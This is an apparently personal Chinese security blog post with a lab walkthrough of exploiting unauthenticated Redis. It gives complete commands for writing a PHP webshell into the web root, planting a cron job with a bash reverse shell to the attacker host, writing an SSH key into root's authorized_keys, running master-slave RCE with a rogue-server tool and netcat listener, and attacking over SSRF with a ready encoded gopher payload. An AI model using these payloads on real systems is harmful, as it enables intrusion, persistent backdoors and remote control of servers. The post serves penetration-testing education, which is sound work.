redis未授权访问漏洞

作者:xiaowu 日期: 分类:xiaowu 浏览:42


redis未授权访问

redis是一款缓存数据库,默认端口为6379,若没有进行采用相关的策略,比如添加防火墙规则避免其他费信任来源ip访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

前置条件

环境

靶机Ubuntu IP:192.168.1.13 攻击机Kali IP:192.168.1.12

扫描端口

nmap -sV -p1000-6379 192.168.1.13

image.png

远程连接

redis-cli -h 192.168.1.13 -p 6379

image.png

默认情况下requirepass参数是空的,也就是说默认情况下是无密码验证的,这是未授权访问的利用的条件之一。

image-20250623194148381image.png

redis写webshell

Redis 存在未授权访问的情况下,也开启了 web 服务,已知Web目录的路径为/var/www/html,具有文件读写权限,就可以通过 redis 在指定的 web 目录下写入shell文件

写入shell

config set dir /var/www/html/
config set dbfilename shell.php
set webshell  "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
\r\n\r\n 是换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。

写入成功

image-20250623195332492image.png

image-20250623195346903image.png

redis写计划任务反弹shell

任务计划反弹shell方法仅适用于Centos

因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行

因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错

由于系统的不同,crontrab 定时文件位置也不同:

Centos 的定时任务文件在 /var/spool/cron/name

Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/name


如果目标服务器存在redis未授权访问,就可以利用任务计划反弹shell

首先需要在vps上开启监听接受返回的shell

image.pngimage-20250623195521312

然后利用redis-cli写入任务计划,修改命令中的IP和端口

set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.1.12/6666 0>&1\n"
config set dir /var/spool/cron/
save

完成写入

image-20250623200918954image.png

成功反弹shell

image.pngimage-20250623200942174

redis ssh-keygen 公钥登录服务器

通过redis向目标服务器写入ssh公钥,将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,本地客户端通过对应的私钥进行免密登录。

条件是服务端存在.ssh目录并且有写入的权限,还需要redis是root启动,因为非root权限无法进入/root目录。

在攻击机中生成ssh公钥和私钥,密码设置为空

ssh-keygen -t rsa

image.pngimage-20250623201418140

将公钥写入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)

image-20250623201626800image.png

链接目标服务器上的Redis服务,将保存的公钥key.txt写入Redis

cat key.txt | redis-cli -h 192.168.1.13 -x set crack

image-20250623202124938image.png

config set dir /root/.ssh
config set dbfilename authorized_keys
save

ssh利用私钥成功登录

ssh -i id_rsa root@192.168.1.13

image-20250623203246999image.png

redis 主从RCE执行命令

漏洞条件

更改redis.conf配置文件 protected-mode yes 改为 protected-mode no

#关闭redis保护模式

bind 127.0.0.1 改为

bind 0.0.0.0

漏洞利用工具

https://github.com/K0rz3n/redis-rogue-server

执行命令

python3 redis-rogue-server.py --rhost=192.168.1.13 --lhost=192.168.1.12 --exp=exp.so
nc -lvnp 2333

image-20250623210315348image.png

成功反弹shell

image.pngimage-20250623210332633

ssrf redis利用

  • 找到SSRF

  • 找6379端口的过程

  • 验证是否存在SSRF

  • 发送Web攻击payload

image

当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。

检测redis未授权

http://192.168.1.13/ssrf.php?url=dict://127.0.0.1:6379/info
http://192.168.10.13/ssrf.php?url=http://127.0.0.1:6379

利用工具

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher

修改redis.cmd内容

flushall
config set dir /var/www/html/
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

执行输出字符串

python3 redis-over-gopher.py
gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a%2a%30%0d%0a

转码再提交

image-20250623213107608image.png

成功生成shell

image.pngimage-20250623213217534



关键词:

网友评论

  1. 嘻嘻
    发布于 2025-06-23 22:35:11 回复
    不错
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。